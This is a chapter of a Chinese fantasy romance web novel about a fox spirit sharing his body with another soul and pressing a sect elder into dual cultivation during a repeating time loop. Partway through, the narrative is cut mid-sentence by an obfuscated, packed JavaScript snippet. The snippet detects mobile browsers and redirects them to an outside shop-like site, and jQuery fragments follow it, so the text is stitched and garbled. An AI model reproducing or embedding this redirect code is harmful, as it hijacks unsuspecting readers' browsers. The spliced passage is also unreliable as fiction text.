“我觉得我们的合作可以终止了。”
方才身体的悸动被一盆冷水浇灭,少年脸上的红晕还没完全退干净,眼尾挂着一抹殷红,面无表情地吐出这句话。
晏尘微提醒他,他现在的身体情况不容许他这么做。
“只要墨尤的禁制在你身上一天,你就无法彻底恢复,妖力耗尽,要么禁制扩散到你全身,等死,要么你就继续,与她双修破除禁制。”
晏尘微声音不急不缓,甚至能听出事不关己的悠闲。
“疼在你身上,我不会受到影响。况且你现在维持不了多久人形,想吸取陆尽遥体内妖丹的力量,还得靠我。”
晏青山被他拿捏得死死的,他只是一缕神魂,没有躯壳,不会受到禁制折磨。
现在若想恢复,只有一条路可以走——与陆尽遥双修。
他眯起狐狸眼,看着陆尽遥缓缓挣脱魅惑术,在心底问晏尘微:“与陆尽遥双修解除禁制?”
“我怎么知道不是你在骗我,以解除禁制为由,骗我与陆尽遥双修。”
先前晏尘微已经骗过他一次,险些被夺走身体控制权,谁知道他是不是又在骗人。
晏尘微一点都不着急,“你大可寻找别的办法,不过你的身体,可等不了多久。”
“若不是你杀了陆尽遥,她怎么会防着我?”
晏尘微没有再说话。
晏青山现在很想把身体里的神魂扯出来,送到陆尽遥面前,让她摧毁这道神魂出气。
这样陆尽遥就不会把对晏尘微的恨意和防备转嫁到他身上。
他苍白的脸冷得如冰,从听到陆尽遥说的那句话起,没再笑过。
但下一瞬,他反射性地扬起唇,因为陆尽遥清醒了。
陆尽遥大脑一阵恍惚,感觉刚才好像睡了一觉,迷迷糊糊的。
视线一清晰,就看到少年离自己很近,一眼就看到他那闪着琉璃光彩的琥珀眸子。
狐狸眼轻轻一颤,一滴晶莹的泪珠在陆尽遥的注视中,从他上挑的眼尾滑落。
晏尘微说陆尽遥很吃这一套,只要他落泪,她就会对他温柔许多。
只那么一瞬间,少年浑身弥漫出莫大的委屈,脑袋蔫了一样垂着,往她身上靠。
陆尽遥看了一眼,又看一眼,脑海中浮现他变成狐狸可怜巴巴看着自己的样子,一时间忘了推开他。
等他几乎整个人贴上来时,她猛地回神,食指抵着他眉心,把人往后一推。
他就轻飘飘倒床上去了。
陆尽遥瞅瞅自己的手指,再一看他望向自己控诉的眼神,摸了摸鼻子。
随便一用力就被推倒,他什么时候这么弱了?
她恍然想起来,前世他也只是在她抓他的时候反抗了几下,后来每次反抗,都被她轻轻松松压制。
他不会真的很弱吧。
陆尽遥立刻打消这个念头,他要是弱,就不可能从魔渊里爬出来,还能杀了当时已经是合体期的她。
搞不好这只狐狸在憋坏,迷惑人眼罢了。
她往后退了一步,本来想再威胁他几句,但见他一副病恹恹的样,看起来的确伤得很重,就没有说出来。
意识到自己对他心软,陆尽遥心底嘲笑自己。
她真是疯了,会因为晏尘微给了自己一颗妖丹,再摸了几把他狐狸尾巴,就被他表面的柔弱无害给迷惑。
陆尽遥,你忘了自己前世是被谁杀死的了吗?
一口气从心中起,她转身就要走,少年的声音在身后响起,她听不都不想听,脚步不停。
晏青山已经提醒过她,不要离开自己太远,但她不听。
他忍着禁制带来的痛,半躺在床上,看着她一步步走远。
“一米,两米,三米。”
话音落下的瞬间,陆尽遥身子一晃,险些跌倒。
剧烈的痛又一次席卷了她,这感觉太熟悉,立刻想起来之前离开晏尘微一定距离,心脉就会堵塞,这次她没有强撑,往后退。
痛感没有消失,但她能感觉到心脉渐渐停止堵塞。
等她退回到床边,被握住手时,心脉堵塞才彻底停止。
陆尽遥抽出手,问他:“妖丹可以阻止我心脉堵塞,但为什么一旦离你超过三米,我的心脉就会重新阻塞?”
“晏尘微,你又在搞鬼。”
她说这句话时,没有任何表情,语气冰冷,晏青山听得更不高兴了。
“因为这颗妖丹只有靠近我,才能发挥最大的功效。”这话不假,但真正让妖丹运转的,是晏尘微的神魂。
他受了伤,暂时催动不了妖丹。
“所以你不能离开我。”晏青山说完,本来想笑一个的,但是手太疼,笑不出来。
陆尽遥听得又想使劲捏他的狐狸尾巴出气,“晏尘微,我之前怎么没看出来你这么有心机?”
晏青山哼哼一声,没有反驳。她说的是晏尘微,又不是他晏青山。
不过晏尘微比他还要有心机,故意被她抓到与她双修三年,都没被她发现真面目,晏尘微更会装。
“你给我等着,等我找到办法修复心脉,我就剖了你的妖丹,把你扔进魔渊。”
陆尽遥以为晏尘微会诡辩几句,但他只是躺在床上,惯有的笑都退去。
他一下子安静下来,虚弱地躺着,不说话也不笑,陆尽遥还有点不习惯,之前那么闹腾,一次次循环,弄得她暴躁得想杀人。
然后她就想起来自己好像忘了一件事。
今天白天发生了前世本没有发生的事,以至于她忘了,今晚一天黑,又到她和晏尘微双修的时候。
陆尽遥沉了脸,坐在旁边盯着床上的少年。今晚她一定要弄清楚,那循环究竟是怎么产生的。
少年迎着她的目光,眨了眨眼,身子往里边挪,还用左手拍了拍他特意留出来的空间,“一起躺。”
陆尽遥凶巴巴回他:“让你躺你就躺好,再动我就剁了你的爪子。”
晏青山哦了一声,收回爪子,但亮晶晶的狐狸眼一眨也不眨地盯着她。
他的目光存在感太强烈,陆尽遥干脆闭上眼,屏息打坐。
要不是因为要修复心脉,她怎么可能让死狐狸精躺在自己床上,还这么有耐心地和他说话。
死狐狸精,就知道害人!
时间缓缓流逝,主殿内没了声响。
不面对陆尽遥时,晏青山卸下温顺的假面,幽深的眼一直看着她,似乎要将她一片片剖开,看看她脑子里究竟想的是什么。
“自始至终,你都没有与我说过一句真话。”被耍了好几天,晏青山越想越觉得恼火。
“如果你还想与我合作,解开循环,那就拿出诚意,而不是暗戳戳地抢我的身体。”
晏尘微笑了,“这本来就是我的身体,你本应该被我吞噬,那日如果是我出马,我早已经与她成功双修。”
晏青山听他说完,反而平息了怒火,神色恹恹的脸上浮现极为灿烂的笑,“但是你现在抢不走我的身体,我却能与她双修。”
“晏尘微,没有我,你什么都办不到。”
身体里的人似乎沉了下去,没有再说话。
怼完晏尘微,晏青山心情非常好,躺在床上看陆尽遥。
她打坐的时候,眉眼低垂,几缕碎发散在额间,眉心的朱砂在室内显得颜色更暗。
晏青山舔了舔唇,感觉她的朱砂痣尝起来应该是甜甜的,像包子里的豆沙。
他的目光情不自禁地落到她唇上,他尝过两次,第一次是软软的,第二次有点干,磨嘴皮子。
等她醒来让她多喝点水。
晏青山如是想到。
没过一会,他就因为右手上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092869|195512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤疼得蹙起眉。禁制纹已经爬到他胳膊肘,再这么下去,用不了多久就会爬遍全身。
只能靠和她双修才能解吗?
晏青山闭上眼,继续蓄积妖力。
夜幕刚降临,门被敲响,外头传来守门弟子的声音。
“陆长老,宗主送来了一批妖兽,让您采补。”
殿内两人同时睁开眼,没点灯,是以看到两颗粉色光团时,陆尽遥还以为是新造出来的摆件。
等那光团一闪一闪的,才发现那是晏尘微的眼睛。
陆尽遥:“……”
她觉得应该多开几扇窗户,免得不点灯自己像个瞎子。
刷的一声,殿内烛灯全亮,陆尽遥起身往门口走,刚走几步停下来,冲晏青山道:“起来,跟在我身边。”
晏青山哦了一声,起身下床,衣裳还松松垮垮的。
门一开,外面的弟子和妖兽就看见穿戴整齐的陆尽遥,还有个衣衫不整的少年。
有妖兽认出少年就是之前在凝露台的九尾狐,一看他身上就披着一件衣裳,春光乍泄,向他投去责备的目光。
妖界的叛徒!居然真的给人族当炉鼎了!
“长老,前面这五只是妖兽,后面三名是宗主挑选的弟子,都是金丹期。”
他这话一出口,晏青山耳朵竖起,往后一看,三名弟子里没有觊觎男。
沉默许久的晏尘微突然出声:“你看,你不利用妖丹与她双修,就会有更多的人与她双修。”
晏青山不理他,在陆尽遥身侧幽幽出口:“你要采补他们吗?”
陆尽遥还没说话,晏青山直接说了句骇人的话:“可是你现在离不开我,又要采补他们的话,只能一起来了。”
晏青山转向被送过来的妖兽和弟子,咧开嘴笑,露出尖锐的虎牙,“你们不会介意的吧?”
陆尽遥本来是要拒绝的,但听到他这么说,改变了主意。
看在他给的妖丹暂时解决了她一大危机的面子上,她可以容忍他偶尔对自己动手动脚。
但这并不意味着他能挑衅自己的权威,尤其是在合欢宗弟子面前。
她没再给他一个眼神,在妖兽和弟子里各随便挑了一个。
“过来,我要吸取你的力量。”
晏青山笑容消失,转头凝视陆尽遥,她当他不存在。
他扭头瞪着那名被挑中的妖兽,九尾狐的血脉压迫使他不敢上前。
“你,过来。”
陆尽遥直接换了那名弟子。
在晏青山的注视中,她朝那名弟子抬起手。
她的手指纤细,晏青山摸过,上头还有薄薄的茧子,却不硌人,摸他尾巴的时候,掌心炽热,很暖。
他盯着那名弟子,眼神警告他,他要是敢碰上去,后果自负。
但那名弟子根本不怕,妖兽而已,在合欢宗,还不是被陆长老拿来当炉鼎?
他冲少年挑衅一笑,抬手要握住陆尽遥的手。
晏青山盯着他们即将交握的手,正打算阻止时,熟悉的波动袭来。
他勾了唇。
陆尽遥刚准备吸取那弟子的力量,试试能不能起效,眼前一黑,耳边响起少年得意的声音。
“可是你现在离不开我,又要采补他们的话,只能一起来了。”
“你们不会介意的吧?”
陆尽遥:“……”
该死的循环!
守门弟子见她没有说话,小心翼翼道:“陆长老,宗主叮嘱过,让您悠着些,刚受了伤,采补过剩,会伤身。”
陆尽遥笑。
见到她笑得阴森可怖,妖兽和弟子们不由得抖了抖身子。
陆尽遥直接一挥手,“来,全都一起来!”
只是想吸收他们的力量还能陷入循环?
她就不信了,今晚谁都别想走!